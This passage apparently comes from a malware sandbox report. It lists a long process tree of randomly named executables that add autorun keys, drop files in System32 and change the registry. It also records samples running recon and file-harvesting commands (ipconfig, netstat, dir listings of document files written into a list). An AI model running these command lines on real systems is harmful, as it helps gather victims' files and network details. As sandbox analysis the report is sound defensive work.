        C:\Windows\system32\Lnalgjah.exe
        341⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        Drops file in System32 directory
        
        PID:8944
        
        C:\Windows\SysWOW64\Lcndoa32.exe
        
        C:\Windows\system32\Lcndoa32.exe
        342⤵
        
        PID:8688
        
        C:\Windows\SysWOW64\Lkelpo32.exe
        
        C:\Windows\system32\Lkelpo32.exe
        343⤵
        
        PID:7264
        
        C:\Windows\SysWOW64\Lnchlj32.exe
        
        C:\Windows\system32\Lnchlj32.exe
        344⤵
        
        PID:9212
        
        C:\Windows\SysWOW64\Ldmqidgb.exe
        
        C:\Windows\system32\Ldmqidgb.exe
        345⤵
        
        PID:8980
        
        C:\Windows\SysWOW64\Lglmepfe.exe
        
        C:\Windows\system32\Lglmepfe.exe
        346⤵
        
        PID:7036
        
        C:\Windows\SysWOW64\Ljjiakei.exe
        
        C:\Windows\system32\Ljjiakei.exe
        347⤵
        
        PID:7952
        
        C:\Windows\SysWOW64\Lmhemfdm.exe
        
        C:\Windows\system32\Lmhemfdm.exe
        348⤵
        
        PID:8680
        
        C:\Windows\SysWOW64\Ldpmodeo.exe
        
        C:\Windows\system32\Ldpmodeo.exe
        349⤵
        
        PID:9256
        
        C:\Windows\SysWOW64\Lgniko32.exe
        
        C:\Windows\system32\Lgniko32.exe
        350⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:9304
        
        C:\Windows\SysWOW64\Ljlfgk32.exe
        
        C:\Windows\system32\Ljlfgk32.exe
        351⤵
        
        PID:9348
        
        C:\Windows\SysWOW64\Lmkbcf32.exe
        
        C:\Windows\system32\Lmkbcf32.exe
        352⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:9392
        
        C:\Windows\SysWOW64\Lgpfpo32.exe
        
        C:\Windows\system32\Lgpfpo32.exe
        353⤵
        
        PID:9432
        
        C:\Windows\SysWOW64\Lklbanji.exe
        
        C:\Windows\system32\Lklbanji.exe
        354⤵
        Drops file in System32 directory
        
        PID:9468
        
        C:\Windows\SysWOW64\Mqikidhq.exe
        
        C:\Windows\system32\Mqikidhq.exe
        355⤵
        Modifies registry class
        
        PID:9512
        
        C:\Windows\SysWOW64\Mcggepgd.exe
        
        C:\Windows\system32\Mcggepgd.exe
        356⤵
        
        PID:9552
        
        C:\Windows\SysWOW64\Mknofm32.exe
        
        C:\Windows\system32\Mknofm32.exe
        357⤵
        Modifies registry class
        
        PID:9592
        
        C:\Windows\SysWOW64\Mmoknene.exe
        
        C:\Windows\system32\Mmoknene.exe
        358⤵
        
        PID:9636
        
        C:\Windows\SysWOW64\Mcickp32.exe
        
        C:\Windows\system32\Mcickp32.exe
        359⤵
        
        PID:9680
        
        C:\Windows\SysWOW64\Mkqllm32.exe
        
        C:\Windows\system32\Mkqllm32.exe
        360⤵
        
        PID:9716
        
        C:\Windows\SysWOW64\Mnohhh32.exe
        
        C:\Windows\system32\Mnohhh32.exe
        361⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:9760
        
        C:\Windows\SysWOW64\Mamddd32.exe
        
        C:\Windows\system32\Mamddd32.exe
        362⤵
        
        PID:9800
        
        C:\Windows\SysWOW64\Mgglanlh.exe
        
        C:\Windows\system32\Mgglanlh.exe
        363⤵
        
        PID:9840
        
        C:\Windows\SysWOW64\Mkcham32.exe
        
        C:\Windows\system32\Mkcham32.exe
        364⤵
        Drops file in System32 directory
        
        PID:9884
        
        C:\Windows\SysWOW64\Mapqjcbi.exe
        
        C:\Windows\system32\Mapqjcbi.exe
        365⤵
        
        PID:9928
        
        C:\Windows\SysWOW64\Mcnmfoal.exe
        
        C:\Windows\system32\Mcnmfoal.exe
        366⤵
        
        PID:9972
        
        C:\Windows\SysWOW64\Mkeeglbo.exe
        
        C:\Windows\system32\Mkeeglbo.exe
        367⤵
        
        PID:10016
        
        C:\Windows\SysWOW64\Mncachab.exe
        
        C:\Windows\system32\Mncachab.exe
        368⤵
        
        PID:10052
        
        C:\Windows\SysWOW64\Menipb32.exe
        
        C:\Windows\system32\Menipb32.exe
        369⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:10100
        
        C:\Windows\SysWOW64\Mglflm32.exe
        
        C:\Windows\system32\Mglflm32.exe
        370⤵
        
        PID:10140
        
        C:\Windows\SysWOW64\Nadjec32.exe
        
        C:\Windows\system32\Nadjec32.exe
        371⤵
        
        PID:10180
        
        C:\Windows\SysWOW64\Nccfan32.exe
        
        C:\Windows\system32\Nccfan32.exe
        372⤵
        
        PID:10216
        
        C:\Windows\SysWOW64\Njmonhed.exe
        
        C:\Windows\system32\Njmonhed.exe
        373⤵
        
        PID:9244
        
        C:\Windows\SysWOW64\Nmkkjddg.exe
        
        C:\Windows\system32\Nmkkjddg.exe
        374⤵
        Modifies registry class
        
        PID:9312
        
        C:\Windows\SysWOW64\Nebckadj.exe
        
        C:\Windows\system32\Nebckadj.exe
        375⤵
        
        PID:9380
        
        C:\Windows\SysWOW64\Nllkhk32.exe
        
        C:\Windows\system32\Nllkhk32.exe
        376⤵
        Drops file in System32 directory
        
        PID:9452
        
        C:\Windows\SysWOW64\Naicpbjn.exe
        
        C:\Windows\system32\Naicpbjn.exe
        377⤵
        Drops file in System32 directory
        
        PID:9520
        
        C:\Windows\SysWOW64\Ncgplnia.exe
        
        C:\Windows\system32\Ncgplnia.exe
        378⤵
        
        PID:9588
        
        C:\Windows\SysWOW64\Njahih32.exe
        
        C:\Windows\system32\Njahih32.exe
        379⤵
        
        PID:9676
        
        C:\Windows\SysWOW64\Nakpebhk.exe
        
        C:\Windows\system32\Nakpebhk.exe
        380⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:9700
        
        C:\Windows\SysWOW64\Ncjmamgo.exe
        
        C:\Windows\system32\Ncjmamgo.exe
        381⤵
        
        PID:9792
        
        C:\Windows\SysWOW64\Nladckha.exe
        
        C:\Windows\system32\Nladckha.exe
        382⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:9872
        
        C:\Windows\SysWOW64\Nmbajc32.exe
        
        C:\Windows\system32\Nmbajc32.exe
        383⤵
        
        PID:9936
        
        C:\Windows\SysWOW64\Neiilpob.exe
        
        C:\Windows\system32\Neiilpob.exe
        384⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:10008
        
        C:\Windows\SysWOW64\Nhhehlne.exe
        
        C:\Windows\system32\Nhhehlne.exe
        385⤵
        Drops file in System32 directory
        
        PID:10080
        
        C:\Windows\SysWOW64\Njfadgmi.exe
        
        C:\Windows\system32\Njfadgmi.exe
        386⤵
        Drops file in System32 directory
        
        PID:10148
        
        C:\Windows\SysWOW64\Oelfaplo.exe
        
        C:\Windows\system32\Oelfaplo.exe
        387⤵
        
        PID:10212
        
        C:\Windows\SysWOW64\Olennj32.exe
        
        C:\Windows\system32\Olennj32.exe
        388⤵
        Modifies registry class
        
        PID:9272
        
        C:\Windows\SysWOW64\Ondjje32.exe
        
        C:\Windows\system32\Ondjje32.exe
        389⤵
        
        PID:9376
        
        C:\Windows\SysWOW64\Oabffa32.exe
        
        C:\Windows\system32\Oabffa32.exe
        390⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:9460
        
        C:\Windows\SysWOW64\Odabblag.exe
        
        C:\Windows\system32\Odabblag.exe
        391⤵
        Drops file in System32 directory
        
        PID:9576
        
        C:\Windows\SysWOW64\Ojkkof32.exe
        
        C:\Windows\system32\Ojkkof32.exe
        392⤵
        Modifies registry class
        
        PID:9724
        
        C:\Windows\SysWOW64\Omigkb32.exe
        
        C:\Windows\system32\Omigkb32.exe
        393⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:9808
        
        C:\Windows\SysWOW64\Oepolo32.exe
        
        C:\Windows\system32\Oepolo32.exe
        394⤵
        
        PID:9920
        
        C:\Windows\SysWOW64\Oljgiipf.exe
        
        C:\Windows\system32\Oljgiipf.exe
        395⤵
        
        PID:10024
        
        C:\Windows\SysWOW64\Ooiceeoj.exe
        
        C:\Windows\system32\Ooiceeoj.exe
        396⤵
        
        PID:10164
        
        C:\Windows\SysWOW64\Odelmlma.exe
        
        C:\Windows\system32\Odelmlma.exe
        397⤵
        Modifies registry class
        
        PID:9224
        
        C:\Windows\SysWOW64\Olmdoi32.exe
        
        C:\Windows\system32\Olmdoi32.exe
        398⤵
        
        PID:9320
        
        C:\Windows\SysWOW64\Ookpkd32.exe
        
        C:\Windows\system32\Ookpkd32.exe
        399⤵
        
        PID:9572
        
        C:\Windows\SysWOW64\Oaimgp32.exe
        
        C:\Windows\system32\Oaimgp32.exe
        400⤵
        
        PID:9740
        
        C:\Windows\SysWOW64\Odhick32.exe
        
        C:\Windows\system32\Odhick32.exe
        401⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        Drops file in System32 directory
        
        PID:9924
        
        C:\Windows\SysWOW64\Oloqdi32.exe
        
        C:\Windows\system32\Oloqdi32.exe
        402⤵
        
        PID:10128
        
        C:\Windows\SysWOW64\Pommpd32.exe
        
        C:\Windows\system32\Pommpd32.exe
        403⤵
        Modifies registry class
        
        PID:10224
        
        C:\Windows\SysWOW64\Phfaijae.exe
        
        C:\Windows\system32\Phfaijae.exe
        404⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        Modifies registry class
        
        PID:9540
        
        C:\Windows\SysWOW64\Popjfdib.exe
        
        C:\Windows\system32\Popjfdib.exe
        405⤵
        
        PID:9908
        
        C:\Windows\SysWOW64\Panfbohf.exe
        
        C:\Windows\system32\Panfbohf.exe
        406⤵
        
        PID:9228
        
        C:\Windows\SysWOW64\Pmeggp32.exe
        
        C:\Windows\system32\Pmeggp32.exe
        407⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        Drops file in System32 directory
        
        PID:9708
        
        C:\Windows\SysWOW64\Pelohn32.exe
        
        C:\Windows\system32\Pelohn32.exe
        408⤵
        
        PID:3780
        
        C:\Windows\SysWOW64\Plfgehfi.exe
        
        C:\Windows\system32\Plfgehfi.exe
        409⤵
        
        PID:4848
        
        C:\Windows\SysWOW64\Podcac32.exe
        
        C:\Windows\system32\Podcac32.exe
        410⤵
        
        PID:9768
        
        C:\Windows\SysWOW64\Pacomo32.exe
        
        C:\Windows\system32\Pacomo32.exe
        411⤵
        
        PID:9340
        
        C:\Windows\SysWOW64\Phmgjikm.exe
        
        C:\Windows\system32\Phmgjikm.exe
        412⤵
        Modifies registry class
        
        PID:2168
        
        C:\Windows\SysWOW64\Pogpfc32.exe
        
        C:\Windows\system32\Pogpfc32.exe
        413⤵
        
        PID:10000
        
        C:\Windows\SysWOW64\Phodohik.exe
        
        C:\Windows\system32\Phodohik.exe
        414⤵
        
        PID:4548
        
        C:\Windows\SysWOW64\Qknqkdho.exe
        
        C:\Windows\system32\Qknqkdho.exe
        415⤵
        Drops file in System32 directory
        
        PID:3456
        
        C:\Windows\SysWOW64\Qagihnpk.exe
        
        C:\Windows\system32\Qagihnpk.exe
        416⤵
        
        PID:9560
        
        C:\Windows\SysWOW64\Qdfedioo.exe
        
        C:\Windows\system32\Qdfedioo.exe
        417⤵
        
        PID:10124
        
        C:\Windows\SysWOW64\Qkpmac32.exe
        
        C:\Windows\system32\Qkpmac32.exe
        418⤵
        Modifies registry class
        
        PID:10252
        
        C:\Windows\SysWOW64\Qokiaboe.exe
        
        C:\Windows\system32\Qokiaboe.exe
        419⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:10292
        
        C:\Windows\SysWOW64\Qeeanl32.exe
        
        C:\Windows\system32\Qeeanl32.exe
        420⤵
        Drops file in System32 directory
        
        PID:10340
        
        C:\Windows\SysWOW64\Qhdnjh32.exe
        
        C:\Windows\system32\Qhdnjh32.exe
        421⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:10384
        
        C:\Windows\SysWOW64\Alojkfno.exe
        
        C:\Windows\system32\Alojkfno.exe
        422⤵
        Drops file in System32 directory
        Modifies registry class
        
        PID:10420
        
        C:\Windows\SysWOW64\Aonfgbmb.exe
        
        C:\Windows\system32\Aonfgbmb.exe
        423⤵
        
        PID:10460
        
        C:\Windows\SysWOW64\Aalbcm32.exe
        
        C:\Windows\system32\Aalbcm32.exe
        424⤵
        
        PID:10504
        
        C:\Windows\SysWOW64\Adknoi32.exe
        
        C:\Windows\system32\Adknoi32.exe
        425⤵
        
        PID:10548
        
        C:\Windows\SysWOW64\Aopbma32.exe
        
        C:\Windows\system32\Aopbma32.exe
        426⤵
        
        PID:10592
        
        C:\Windows\SysWOW64\Aejkilbl.exe
        
        C:\Windows\system32\Aejkilbl.exe
        427⤵
        
        PID:10636
        
        C:\Windows\SysWOW64\Ahhgegap.exe
        
        C:\Windows\system32\Ahhgegap.exe
        428⤵
        
        PID:10672
        
        C:\Windows\SysWOW64\Anepnnog.exe
        
        C:\Windows\system32\Anepnnog.exe
        429⤵
        
        PID:10716
        
        C:\Windows\SysWOW64\Adohjhgd.exe
        
        C:\Windows\system32\Adohjhgd.exe
        430⤵
        
        PID:10760
        
        C:\Windows\SysWOW64\Aoelhafj.exe
        
        C:\Windows\system32\Aoelhafj.exe
        431⤵
        
        PID:10804
        
        C:\Windows\SysWOW64\Aachdlfn.exe
        
        C:\Windows\system32\Aachdlfn.exe
        432⤵
        
        PID:10848
        
        C:\Windows\SysWOW64\Ahmqqf32.exe
        
        C:\Windows\system32\Ahmqqf32.exe
        433⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:10892
        
        C:\Windows\SysWOW64\Aklmmb32.exe
        
        C:\Windows\system32\Aklmmb32.exe
        434⤵
        
        PID:10932
        
        C:\Windows\SysWOW64\Anjiim32.exe
        
        C:\Windows\system32\Anjiim32.exe
        435⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:10976
        
        C:\Windows\SysWOW64\Aeaajk32.exe
        
        C:\Windows\system32\Aeaajk32.exe
        436⤵
        Modifies registry class
        
        PID:11016
        
        C:\Windows\SysWOW64\Blkige32.exe
        
        C:\Windows\system32\Blkige32.exe
        437⤵
        
        PID:11060
        
        C:\Windows\SysWOW64\Bnlfomip.exe
        
        C:\Windows\system32\Bnlfomip.exe
        438⤵
        Drops file in System32 directory
        
        PID:11100
        
        C:\Windows\SysWOW64\Becnpjjb.exe
        
        C:\Windows\system32\Becnpjjb.exe
        439⤵
        
        PID:11140
        
        C:\Windows\SysWOW64\Blmfld32.exe
        
        C:\Windows\system32\Blmfld32.exe
        440⤵
        
        PID:11184
        
        C:\Windows\SysWOW64\Bolbhp32.exe
        
        C:\Windows\system32\Bolbhp32.exe
        441⤵
        Modifies registry class
        
        PID:11224
        
        C:\Windows\SysWOW64\Bajndk32.exe
        
        C:\Windows\system32\Bajndk32.exe
        442⤵
        
        PID:10248
        
        C:\Windows\SysWOW64\Bdikqg32.exe
        
        C:\Windows\system32\Bdikqg32.exe
        443⤵
        
        PID:10304
        
        C:\Windows\SysWOW64\Bkbcma32.exe
        
        C:\Windows\system32\Bkbcma32.exe
        444⤵
        Modifies registry class
        
        PID:10376
        
        C:\Windows\SysWOW64\Bamkjknc.exe
        
        C:\Windows\system32\Bamkjknc.exe
        445⤵
        Modifies registry class
        
        PID:10456
        
        C:\Windows\SysWOW64\Bhfcge32.exe
        
        C:\Windows\system32\Bhfcge32.exe
        446⤵
        
        PID:10536
        
        C:\Windows\SysWOW64\Bkepcq32.exe
        
        C:\Windows\system32\Bkepcq32.exe
        447⤵
        
        PID:10600
        
        C:\Windows\SysWOW64\Baohpklq.exe
        
        C:\Windows\system32\Baohpklq.exe
        448⤵
        
        PID:10664
        
        C:\Windows\SysWOW64\Bdmdlfkd.exe
        
        C:\Windows\system32\Bdmdlfkd.exe
        449⤵
        
        PID:10744
        
        C:\Windows\SysWOW64\Bldlmc32.exe
        
        C:\Windows\system32\Bldlmc32.exe
        450⤵
        
        PID:10812
        
        C:\Windows\SysWOW64\Bnfhdlae.exe
        
        C:\Windows\system32\Bnfhdlae.exe
        451⤵
        
        PID:10876
        
        C:\Windows\SysWOW64\Cdpaaf32.exe
        
        C:\Windows\system32\Cdpaaf32.exe
        452⤵
        
        PID:10924
        
        C:\Windows\SysWOW64\Clgibc32.exe
        
        C:\Windows\system32\Clgibc32.exe
        453⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:10984
        
        C:\Windows\SysWOW64\Cnhejkob.exe
        
        C:\Windows\system32\Cnhejkob.exe
        454⤵
        
        PID:11048
        
        C:\Windows\SysWOW64\Chnigdoh.exe
        
        C:\Windows\system32\Chnigdoh.exe
        455⤵
        
        PID:11084
        
        C:\Windows\SysWOW64\Cklfcpnl.exe
        
        C:\Windows\system32\Cklfcpnl.exe
        456⤵
        
        PID:11164
        
        C:\Windows\SysWOW64\Cbfnpjei.exe
        
        C:\Windows\system32\Cbfnpjei.exe
        457⤵
        
        PID:11220
        
        C:\Windows\SysWOW64\Cddjledl.exe
        
        C:\Windows\system32\Cddjledl.exe
        458⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        Modifies registry class
        
        PID:10276
        
        C:\Windows\SysWOW64\Clkbnbeo.exe
        
        C:\Windows\system32\Clkbnbeo.exe
        459⤵
        
        PID:10360
        
        C:\Windows\SysWOW64\Cojnjndb.exe
        
        C:\Windows\system32\Cojnjndb.exe
        460⤵
        Drops file in System32 directory
        
        PID:10452
        
        C:\Windows\SysWOW64\Cfdgfh32.exe
        
        C:\Windows\system32\Cfdgfh32.exe
        461⤵
        Modifies registry class
        
        PID:10544
        
        C:\Windows\SysWOW64\Clnocbcl.exe
        
        C:\Windows\system32\Clnocbcl.exe
        462⤵
        
        PID:10628
        
        C:\Windows\SysWOW64\Colkon32.exe
        
        C:\Windows\system32\Colkon32.exe
        463⤵
        
        PID:10684
        
        C:\Windows\SysWOW64\Cbkgki32.exe
        
        C:\Windows\system32\Cbkgki32.exe
        464⤵
        
        PID:10796
        
        C:\Windows\SysWOW64\Cdicgd32.exe
        
        C:\Windows\system32\Cdicgd32.exe
        465⤵
        
        PID:9880
        
        C:\Windows\SysWOW64\Chdphcip.exe
        
        C:\Windows\system32\Chdphcip.exe
        466⤵
        
        PID:10972
        
        C:\Windows\SysWOW64\Coohem32.exe
        
        C:\Windows\system32\Coohem32.exe
        467⤵
        
        PID:11208
        
        C:\Windows\SysWOW64\Cfhpaghj.exe
        
        C:\Windows\system32\Cfhpaghj.exe
        468⤵
        
        PID:10324
        
        C:\Windows\SysWOW64\Dkehjnfa.exe
        
        C:\Windows\system32\Dkehjnfa.exe
        469⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:10404
        
        C:\Windows\SysWOW64\Dndefjee.exe
        
        C:\Windows\system32\Dndefjee.exe
        470⤵
        
        PID:10608
        
        C:\Windows\SysWOW64\Dfkmgg32.exe
        
        C:\Windows\system32\Dfkmgg32.exe
        471⤵
        
        PID:10724
        
        C:\Windows\SysWOW64\Dhiicb32.exe
        
        C:\Windows\system32\Dhiicb32.exe
        472⤵
        
        PID:10940
        
        C:\Windows\SysWOW64\Dnfaki32.exe
        
        C:\Windows\system32\Dnfaki32.exe
        473⤵
        
        PID:11216
        
        C:\Windows\SysWOW64\Dbanlhkk.exe
        
        C:\Windows\system32\Dbanlhkk.exe
        474⤵
        Drops file in System32 directory
        
        PID:11172
        
        C:\Windows\SysWOW64\Ddpjhcjo.exe
        
        C:\Windows\system32\Ddpjhcjo.exe
        475⤵
        
        PID:10444
        
        C:\Windows\SysWOW64\Ddbfnc32.exe
        
        C:\Windows\system32\Ddbfnc32.exe
        476⤵
        
        PID:3096
        
        C:\Windows\SysWOW64\Dohkkl32.exe
        
        C:\Windows\system32\Dohkkl32.exe
        477⤵
        
        PID:10968
        
        C:\Windows\SysWOW64\Dnkkfiom.exe
        
        C:\Windows\system32\Dnkkfiom.exe
        478⤵
        
        PID:3080
        
        C:\Windows\SysWOW64\Dfbchfpo.exe
        
        C:\Windows\system32\Dfbchfpo.exe
        479⤵
        
        PID:2828
        
        C:\Windows\SysWOW64\Dipodaoc.exe
        
        C:\Windows\system32\Dipodaoc.exe
        480⤵
        
        PID:10244
        
        C:\Windows\SysWOW64\Dkokpmnf.exe
        
        C:\Windows\system32\Dkokpmnf.exe
        481⤵
        
        PID:10584
        
        C:\Windows\SysWOW64\Dnmhlhmj.exe
        
        C:\Windows\system32\Dnmhlhmj.exe
        482⤵
        
        PID:3320
        
        C:\Windows\SysWOW64\Eegpibdg.exe
        
        C:\Windows\system32\Eegpibdg.exe
        483⤵
        
        PID:10448
        
        C:\Windows\SysWOW64\Emnhjpei.exe
        
        C:\Windows\system32\Emnhjpei.exe
        484⤵
        Drops file in System32 directory
        
        PID:11044
        
        C:\Windows\SysWOW64\Eomdfkdm.exe
        
        C:\Windows\system32\Eomdfkdm.exe
        485⤵
        
        PID:4488
        
        C:\Windows\SysWOW64\Ebkpbfcq.exe
        
        C:\Windows\system32\Ebkpbfcq.exe
        486⤵
        Modifies registry class
        
        PID:11300
        
        C:\Windows\SysWOW64\Efflce32.exe
        
        C:\Windows\system32\Efflce32.exe
        487⤵
        
        PID:11336
        
        C:\Windows\SysWOW64\Eiehoq32.exe
        
        C:\Windows\system32\Eiehoq32.exe
        488⤵
        
        PID:11372
        
        C:\Windows\SysWOW64\Eooalkbj.exe
        
        C:\Windows\system32\Eooalkbj.exe
        489⤵
        
        PID:11408
        
        C:\Windows\SysWOW64\Ebmmhfan.exe
        
        C:\Windows\system32\Ebmmhfan.exe
        490⤵
        
        PID:11444
        
        C:\Windows\SysWOW64\Eelidapa.exe
        
        C:\Windows\system32\Eelidapa.exe
        491⤵
        
        PID:11480
        
        C:\Windows\SysWOW64\Eoanaj32.exe
        
        C:\Windows\system32\Eoanaj32.exe
        492⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:11516
        
        C:\Windows\SysWOW64\Endnmggb.exe
        
        C:\Windows\system32\Endnmggb.exe
        493⤵
        Drops file in System32 directory
        
        PID:11552
        
        C:\Windows\SysWOW64\Efkfndgd.exe
        
        C:\Windows\system32\Efkfndgd.exe
        494⤵
        Drops file in System32 directory
        
        PID:11588
        
        C:\Windows\SysWOW64\Emenko32.exe
        
        C:\Windows\system32\Emenko32.exe
        495⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        Drops file in System32 directory
        
        PID:11624
        
        C:\Windows\SysWOW64\Epcjgj32.exe
        
        C:\Windows\system32\Epcjgj32.exe
        496⤵
        
        PID:11660
        
        C:\Windows\SysWOW64\Ebbfce32.exe
        
        C:\Windows\system32\Ebbfce32.exe
        497⤵
        
        PID:11696
        
        C:\Windows\SysWOW64\Eiloppde.exe
        
        C:\Windows\system32\Eiloppde.exe
        498⤵
        
        PID:11732
        
        C:\Windows\SysWOW64\Ekjklk32.exe
        
        C:\Windows\system32\Ekjklk32.exe
        499⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:11768
        
        C:\Windows\SysWOW64\Ffpoid32.exe
        
        C:\Windows\system32\Ffpoid32.exe
        500⤵
        Drops file in System32 directory
        
        PID:11804
        
        C:\Windows\SysWOW64\Finkeo32.exe
        
        C:\Windows\system32\Finkeo32.exe
        501⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:11840
        
        C:\Windows\SysWOW64\Fphcbijp.exe
        
        C:\Windows\system32\Fphcbijp.exe
        502⤵
        
        PID:11876
        
        C:\Windows\SysWOW64\Fbgpneic.exe
        
        C:\Windows\system32\Fbgpneic.exe
        503⤵
        
        PID:11912
        
        C:\Windows\SysWOW64\Feeljqhg.exe
        
        C:\Windows\system32\Feeljqhg.exe
        504⤵
        
        PID:11948
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 11948 -s 412
        505⤵
        Program crash
        
        PID:12020

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Modifies data under HKEY_USERS
PID:2672

C:\ProgramData\winmgr107.exe
C:\ProgramData\winmgr107.exe
1⤵
- NTFS ADS
PID:2264

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 376 -p 11948 -ip 11948
1⤵
PID:12000

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:10636

C:\Users\Admin\Desktop\virussign.com_0fcd98c430355cad3e548a63ba704cd4.exe
"C:\Users\Admin\Desktop\virussign.com_0fcd98c430355cad3e548a63ba704cd4.exe"
1⤵
- Drops startup file
- Adds Run key to start application
PID:10208
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\locxopti.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\locxopti.exe"
  2⤵
  - Checks computer location settings
  PID:10088
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c ipconfig > C:\Users\Admin\ipconfig.txt
    3⤵
    PID:7920
  - - C:\Windows\SysWOW64\ipconfig.exe
      ipconfig
      4⤵
      Gathers network information
      PID:7320
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c netstat -a > C:\Users\Admin\netstat.txt
    3⤵
    PID:7896
  - - C:\Windows\SysWOW64\NETSTAT.EXE
      netstat -a
      4⤵
      Gathers network information
      PID:7628
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c dir C:\*.txt /b /s >> C:\Users\Admin\grubb.list
    3⤵
    PID:7880
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c dir C:\*.doc /b /s >> C:\Users\Admin\grubb.list
    3⤵
    PID:6640
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c dir C:\*.xls /b /s >> C:\Users\Admin\grubb.list
    3⤵
    PID:6692
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c dir C:\*.rtf /b /s >> C:\Users\Admin\grubb.list
    3⤵
    PID:2460
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c dir D:\*.txt /b /s >> C:\Users\Admin\grubb.list
    3⤵
    PID:1836
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c dir D:\*.doc /b /s >> C:\Users\Admin\grubb.list
    3⤵
    PID:11032
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c dir D:\*.xls /b /s >> C:\Users\Admin\grubb.list
    3⤵
    PID:3780
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c dir D:\*.rtf /b /s >> C:\Users\Admin\grubb.list
    3⤵
    PID:10080
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c dir F:\*.txt /b /s >> C:\Users\Admin\grubb.list
    3⤵
    PID:9556
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c dir F:\*.doc /b /s >> C:\Users\Admin\grubb.list
    3⤵
    PID:1108
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c dir F:\*.xls /b /s >> C:\Users\Admin\grubb.list
    3⤵
    PID:9176
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c dir F:\*.rtf /b /s >> C:\Users\Admin\grubb.list
    3⤵
    PID:7404
- C:\SysDrvM6\abodloc.exe
  C:\SysDrvM6\abodloc.exe
  2⤵
  PID:9852

C:\ProgramData\winmgr107.exe
C:\ProgramData\winmgr107.exe
1⤵
- NTFS ADS
PID:10164

C:\Users\Admin\Desktop\virussign.com_1bfd7bf7db9168d69485340641147131.exe
"C:\Users\Admin\Desktop\virussign.com_1bfd7bf7db9168d69485340641147131.exe"
1⤵
PID:11880

C:\ProgramData\winmgr107.exe
C:\ProgramData\winmgr107.exe
1⤵
- NTFS ADS
PID:8944

C:\ProgramData\winmgr107.exe
C:\ProgramData\winmgr107.exe
1⤵
- NTFS ADS
PID:8652

C:\Users\Admin\Desktop\virussign.com_1d91dd526a5671467b8aa12a2b7c8a25.exe
"C:\Users\Admin\Desktop\virussign.com_1d91dd526a5671467b8aa12a2b7c8a25.exe"
1⤵
PID:7704

C:\ProgramData\winmgr107.exe
C:\ProgramData\winmgr107.exe
1⤵
- NTFS ADS
PID:6564

C:\Users\Admin\Desktop\virussign.com_1d67d0b0d05a5603372b8afe81e3078a.exe
"C:\Users\Admin\Desktop\virussign.com_1d67d0b0d05a5603372b8afe81e3078a.exe"
1⤵
PID:6740

C:\Users\Admin\Desktop\virussign.com_1e903a364fd4c0d461993bc1db029e4b.exe
"C:\Users\Admin\Desktop\virussign.com_1e903a364fd4c0d461993bc1db029e4b.exe"
1⤵
- Drops startup file
- Loads dropped DLL
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:11256

C:\ProgramData\winmgr107.exe
C:\ProgramData\winmgr107.exe
1⤵
- Loads dropped DLL
- Enumerates connected drives
- Drops file in Program Files directory
- NTFS ADS
PID:10812

C:\Users\Admin\Desktop\virussign.com_2a07d4eba2de1b08de71e85e6f95c09c.exe
"C:\Users\Admin\Desktop\virussign.com_2a07d4eba2de1b08de71e85e6f95c09c.exe"
1⤵
- Loads dropped DLL
- Enumerates connected drives
- Drops file in Program Files directory
PID:10980

C:\ProgramData\winmgr107.exe
C:\ProgramData\winmgr107.exe
1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- NTFS ADS
PID:732

C:\Users\Admin\Desktop\virussign.com_2c7c4a9cfe4af65d1f94178378eba736.exe
